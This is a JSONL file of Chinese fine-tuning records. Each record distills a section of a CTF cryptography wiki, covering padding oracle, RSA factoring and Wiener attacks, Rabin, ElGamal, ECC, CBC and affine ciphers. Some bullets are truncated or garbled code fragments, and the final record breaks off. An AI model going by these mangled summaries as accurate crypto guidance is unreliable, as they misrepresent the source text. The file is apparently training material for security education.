{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-b7e205b89e0147f0e30e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「解密 flag」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > Teaser Dragon CTF 2018 AES-128-TSB > 解密 flag\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“解密 flag”展开。\n- 完整的代码参考 ctf-challenge 仓库。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n- code:python\n\n代码/命令片段线索：\n- python: 15 行，首行 `print('the flag cipher is ' + flag_cipher.encode('hex'))`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 546, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "解密 flag", "heading_path": ["Padding Oracle Attack", "Teaser Dragon CTF 2018 AES-128-TSB", "解密 flag"], "original_id": "docs-c785319633e7a7304583", "original_line": 349, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "35a800ec5f53a41ed1266e44", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md", "code:python"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-ba5abbc9d741e9fb4c83", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_module_attack.md` 中的章节「2017 SECCON very smooth」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_module_attack.md`\n标题：模数相关攻击\n章节：模数相关攻击 > p & q 不当分解 N > 2017 SECCON very smooth\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“2017 SECCON very smooth”展开。\n- ```shell ➜ 2017_SECCON_verysmooth git:(master) binwalk -e s.pcap\n- DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 2292 0x8F4 Certificate in DER format (x509 v3), header length: 4, sequence length: 467 4038 0xFC6 Certificate in DER format (x509 v3), header le...\n- ➜ 2017_SECCON_verysmooth git:(master) ls s.pcap _s.pcap.extracted very_smooth.zip ```\n- `` ➜ _s.pcap.extracted git:(master) openssl x509 -inform DER -in FC6.crt -pubkey -text -modulus -noout -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDVRqqCXPYd6Xdl9GT7/kiJrYvy 8lohddAsi28qwMXCe2cDWuwZKzdB3R9NEnUxsHqwEuuGJBwJwIFJnmnvWurHjc...\n- 可以看出模数只有 1024 比特。而且，根据题目名 very smooth，应该是其中一个因子比较 smooth，这里我们利用 primefac 分别尝试 Pollard's p − 1 与 Williams's p + 1 算法，如下\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-module-attack.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 8 行，首行 `➜ 2017_SECCON_verysmooth git:(master) binwalk -e s.pcap`\n- plain: 41 行，首行 `➜ _s.pcap.extracted git:(master) openssl x509 -inform DER -in FC6.crt -pubkey -text -modulus -noout`\n- shell: 3 行，首行 `➜ _s.pcap.extracted git:(master) python -m primefac -vs -m=p+1 149767527975084886970446073530848114556615616489502613...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 5034, "chunk_count": 2, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2017 SECCON very smooth", "heading_path": ["模数相关攻击", "p & q 不当分解 N", "2017 SECCON very smooth"], "original_id": "docs-19dc42acac34bb00f309", "original_line": 15, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "source_root": "docs", "source_sha256": "5e7dd9efc7fea1fd04e70386bbcbf56b68a69be6a7860c56473f3dcdbad0f4b1", "split": "train", "split_group_key": "3990f34de0e997d5674e09e6", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-module-attack.md", "code:shell"], "title": "模数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-bbccb636c2198c4d2d86", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「维纳（Wiener）的方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击 > 原理分析 > 维纳（Wiener）的方法\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“维纳（Wiener）的方法”展开。\n- 以下为原论文中对于Wiener's Approach的部分描述，部分内容有删减，其实这里也就是维纳攻击的证明，所以要想更详细了解请再看维纳攻击的原理，这里我们主要后面要用到这里的式1。\n- * 注意这里前面所说的范围和后面的范围并不矛盾 这里对一些参数的值的近似并不严格，所以和维纳攻击的严格范围有出入，具体细节可参考维纳攻击的证明。\n- 并给出了证明当 $$ d < \\frac{1}{3}N^{\\frac{1}{4}} $$ 满足时(还应满足$q < p < 2q$，因这里及后文主要是对私钥进行探讨，故忽略这类条件)一定能够分解$N$。\n- 则我们可以知道等式右边约等于$N^{-1/2}$。\n- 我们都知道当 $$|x - a/b| < 1/(2b^2)$$ 时则$a/b$是一个$x$连分数近似（连分数定理Continued Fractions） 所以当 $$d < \\frac{\\sqrt{2}}{2g}N^{\\frac{1}{4}}$$ 时有$k/dg$是$e/N$的连分数近似，即能通过连分数展开覆盖。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 838, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "维纳（Wiener）的方法", "heading_path": ["扩展维纳攻击", "原理分析", "维纳（Wiener）的方法"], "original_id": "docs-79cdd33505cda8aab51c", "original_line": 292, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "a315afeace8bd42ebf3c62f0", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-bbcf5ad844ce4e60417d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/monoalphabetic.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/monoalphabetic.md`\n标题：单表代换加密\n章节：单表代换加密 > 仿射密码 > 原理\n路径分类：crypto / crypto/classical/monoalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 仿射密码的加密函数是 $E(x)=(ax+b)\\pmod m$，其中 - $x$ 表示明文按照某种编码得到的数字 - $a$ 和 $m$ 互质 - $m$ 是编码系统中字母的数目。\n- 解密函数是 $D(x)=a^{-1}(x-b)\\pmod m$，其中 $a^{-1}$ 是 $a$ 在 $\\mathbb{Z}_{m}$ 群的乘法逆元。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- monoalphabetic.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1200, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["单表代换加密", "仿射密码", "原理"], "original_id": "docs-4253f047b9048ed90ad0", "original_line": 364, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "source_root": "docs", "source_sha256": "0f067dab4b75b54ee479faf8ca79787754256a2fc3f9d437852c8af0c151e41e", "split": "train", "split_group_key": "2988f8da3dfd6df421b2568b", "subcategory": "crypto/classical/monoalphabetic.md", "terms": ["密码学", "crypto", "classical", "monoalphabetic.md"], "title": "单表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-bbfd1ec27bf3ce4c0017", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/basic/introduction.md` 中的章节「同态」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/basic/introduction.md`\n标题：基础数学知识\n章节：基础数学知识 > 群 > 同态\n路径分类：crypto / crypto/basic/introduction.md\n分块：1/1\n\n核心知识点：\n- 具体来讲，对于群 $(G,\\circ)$ 和 $(H,\\ast)$ 而言，如若一个映射 $\\psi: G \\to H$ 满足 $\\forall v, u \\in G,$ $$ \\psi(v \\circ u) = \\psi(v) \\ast \\psi(u), $$ 那么映射 $\\psi$ 便可以称为从 $G$ 到 $H$ 的一个群同态。\n- 代数系统间的同态（Homomorphism）指在不同代数系统间能够保持代数运算的映射。\n\n关键术语：\n- 密码学\n- crypto\n- basic\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 222, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "同态", "heading_path": ["基础数学知识", "群", "同态"], "original_id": "docs-6ea5f788463e71290f26", "original_line": 312, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "source_root": "docs", "source_sha256": "6bd61ccc5c5b508b02ed9bd72f41166b716765584fc608abb06dafa277590d6f", "split": "train", "split_group_key": "a8dd9d75fa403c9a0029ffae", "subcategory": "crypto/basic/introduction.md", "terms": ["密码学", "crypto", "basic", "introduction.md"], "title": "基础数学知识"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-be120af60f8bdc28a6a9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/fsr/nfsr.md` 中的章节「2018 强网杯 streamgame3」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/fsr/nfsr.md`\n标题：非线性反馈移位寄存器\n章节：非线性反馈移位寄存器 > 非线性组合生成器 > Geffe > 2018 强网杯 streamgame3\n路径分类：crypto / crypto/streamcipher/fsr\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 强网杯 streamgame3”展开。\n- 因此，我们可以暴力去枚举第一个和第三个 LFSR 的输出判断其与 类 Geffe 的输出相等的个数，如果大约在 75% 的话，就可以认为是正确的。\n- 简单看一下题目 ``python from flag import flag assert flag.startswith(\"[FLAG_PREFIX]\") assert flag.endswith(\"}\") assert len(flag)==24 def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!\n- 脚本如下 ``python #for x1 in range(2):\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- streamcipher\n- fsr\n- nfsr.md\n- code:python\n\n代码/命令片段线索：\n- python: 42 行，首行 `from flag import flag`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1575, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "crypto", "heading": "2018 强网杯 streamgame3", "heading_path": ["非线性反馈移位寄存器", "非线性组合生成器", "Geffe", "2018 强网杯 streamgame3"], "original_id": "docs-eff597e7520535b277e4", "original_line": 428, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/nfsr.md", "source_root": "docs", "source_sha256": "ea9f3a2dc230e58837818417d3fe78888c90b7358e51df033cd7dace77dacdf7", "split": "train", "split_group_key": "b5daf8ae4294b7a96bc3218e", "subcategory": "crypto/streamcipher/fsr", "terms": ["密码学", "漏洞利用", "crypto", "streamcipher", "fsr", "nfsr.md", "code:python"], "title": "非线性反馈移位寄存器"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/nfsr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-c063ec0defd6df052e81", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_e_attack.md` 中的章节「攻击原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_e_attack.md`\n标题：公钥指数相关攻击\n章节：coding=utf-8 > RSA 衍生算法——Rabin 算法 > 攻击原理\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击原理”展开。\n- $$ \\begin{align} m_p &= \\sqrt{c} \\bmod p\\\\ m_q &= \\sqrt{c} \\bmod q \\end{align} $$\n- $$ \\begin{align} a &= (y_p \\cdot p \\cdot m_q + y_q \\cdot q \\cdot m_p) \\bmod n\\\\ b &= n - a\\\\ c &= (y_p \\cdot p \\cdot m_q - y_q \\cdot q \\cdot m_p) \\bmod n\\\\ d &= n - c \\end{align} $$\n- $$ \\begin{align} m_p &= c^{\\frac{1}{4}(p + 1)} \\bmod p\\\\ m_q &= c^{\\frac{1}{4}(q + 1)} \\bmod q \\end{align} $$\n- 而一般情况下，$p \\equiv q \\equiv 3 \\pmod 4$ 是满足的，对于不满足的情况下，请参考相应的算法解决。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-e-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 616, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "攻击原理", "heading_path": ["coding=utf-8", "RSA 衍生算法——Rabin 算法", "攻击原理"], "original_id": "docs-208f63fbdf5d3616ce5d", "original_line": 262, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "source_root": "docs", "source_sha256": "a3d814d7714e3247d02eef8fcc9670e09cc807aee257b5c82d9b3727c831cff4", "split": "train", "split_group_key": "6c4ecac9527f5c5d0c849d8c", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-e-attack.md"], "title": "公钥指数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-c0f1c10ea6ac8de28d96", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md` 中的章节「选择明文攻击」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md`\n标题：RSA 选择明密文攻击\n章节：RSA 选择明密文攻击 > 选择明文攻击\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“选择明文攻击”展开。\n- 2. 在 e 比较小（ $e<2^{64}$）时，我们可以利用 Pollard’s kangaroo algorithm 算法获取 e。\n- 这里给出一个例子，假如我们有一个加密 oracle ，但是我们不知道 n 和 e，那 1. 我们可以通过加密 oracle 获取 n。\n- 那么我们可以知道 $c_2=2^{e} \\bmod n$ $c_4=4^{e} \\bmod n$ $c_8=8^{e} \\bmod n$ 那么 $c_2^2 \\equiv c_4 \\bmod n$ $c_2^3 \\equiv c_8 \\bmod n$ 故而 $c_2^2-c_4=kn$ $c_2^3-c_8=tn$ 我们可以求出 kn 和 tn 的最大公因数，很大概率就是 n 了。\n- 我们还可以构造更多的例子从来更加确定性地找 n。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-chosen-plain-cipher.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 391, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "选择明文攻击", "heading_path": ["RSA 选择明密文攻击", "选择明文攻击"], "original_id": "docs-dd21afac336ff37220d9", "original_line": 229, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "source_root": "docs", "source_sha256": "533e2ebc164c0999a6dcbeff80e06752048928d69e096798072b5d973d6484d7", "split": "train", "split_group_key": "11a32926cd8e71b8a2161d7c", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-chosen-plain-cipher.md"], "title": "RSA 选择明密文攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-c127eef827f0ffc5bd00", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/elgamal.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/elgamal.md`\n标题：ElGamal\n章节：ElGamal > 概述\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- ElGamal算法的安全性是基于求解离散对数问题的困难性，于1984年提出，也是一种双钥密码体制，既可以用于加密又可用于数字签名。\n- 那么如何找到一个唯一的整数x($0\\leq x \\leq p-2$) ，满足$g^x \\equiv y \\bmod p$ 在算法上是困难的，这里将x记为$x=log_gy$ 。\n- 如果我们假设p是至少是160位的十进制素数，并且p-1有大素因子，此外g是 $Z_p^$ 的生成元，并且 $y \\in Z_p^$ 。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- discrete-log\n- elgamal.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 228, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "概述", "heading_path": ["ElGamal", "概述"], "original_id": "docs-ee3fff37246f4a10d619", "original_line": 212, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/elgamal.md", "source_root": "docs", "source_sha256": "a9e9e778c3fba70f90b0104997db1213f33093dead9989df94e7797cb31c8f07", "split": "train", "split_group_key": "9b02732788230f883107bab6", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "crypto", "asymmetric", "discrete-log", "elgamal.md"], "title": "ElGamal"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/elgamal.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-c1e183f614ceda185c62", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/cbc.md` 中的章节「解密」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/cbc.md`\n标题：CBC\n章节：CBC > 解密\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 类似地，解密的过程实际上便是逆着加密的过程进行，我们将解密函数记为 $D_k(x)$： - 首先使用 $IV$ 解密第一个块，即 $P_1 = D_k(C_1) \\oplus IV$ - 然后依次解密后续块即可，即 $P_i=D_k(C_i) \\oplus C_{i-1}$ 下图展示了这一过程： [图片文件: ./figure/cbc_decryption.png]\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- mode\n- cbc.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 187, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "解密", "heading_path": ["CBC", "解密"], "original_id": "docs-62c5aaf00391b38d3f7f", "original_line": 329, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/cbc.md", "source_root": "docs", "source_sha256": "967fd18c8236164596850f301cd052c278278b21d1aa64db341b53b17d06c695", "split": "train", "split_group_key": "d3ea628c70973c92d8c62591", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "crypto", "blockcipher", "mode", "cbc.md"], "title": "CBC"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/cbc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-c2f730389b00d2f38f35", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/ecc.md` 中的章节「加密」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/ecc.md`\n标题：ECC\n章节：ECC > ECC中的ElGamal > 加密\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 用户B在向用户A发送消息m，这里假设消息m已经被编码为椭圆曲线上的点，其加密步骤如下 1. 查询用户A的公钥$E_q(a,b), q, P_a,G$ 。\n- 5. 计算$C=m+(x_2,y_2)$ 6. 将$((x_1,y_1),C)$ 发送给A。\n- 2. 在(1,q-1) 的区间内选择随机数k 。\n- 3. 根据A的公钥计算点$(x_1,y_1)=kG$ 。\n- 4. 计算点$(x_2,y_2)=kP_a$ ，如果为O，则从第二步重新开始。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- discrete-log\n- ecc.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 218, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "加密", "heading_path": ["ECC", "ECC中的ElGamal", "加密"], "original_id": "docs-0ee703ec711ff79edae3", "original_line": 210, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/ecc.md", "source_root": "docs", "source_sha256": "62b16ba51279e7197c9f42e8ed4ed7911bae878fe5cf3186a6d08caf8185d0c3", "split": "train", "split_group_key": "3855a5b7adcf8badafd83ef2", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "crypto", "asymmetric", "discrete-log", "ecc.md"], "title": "ECC"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/ecc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-c3ca2d4d42fa8a0aee7f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/discrete-log.md` 中的章节「基本定义」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/discrete-log.md`\n标题：离散对数\n章节：离散对数 > 基本定义\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本定义”展开。\n- 定义1 在群 G 中，g 为 G 的生成元，也就是说群 G 中每一个元素都可以写成 $y=g^k$，我们称 k 为 y 在群 G 中的对数。\n- 定义2 设 $m\\geq 1$，$(a,m)=1$ ，使得 $a^d \\equiv 1\\pmod m$ 成立的最小正整数 d 称为 a 对模 m 的指数或者阶，我们一般将其记为 $\\delta_m(a)$。\n- 定义3 当 $\\delta_m(a)=\\varphi(m)$ 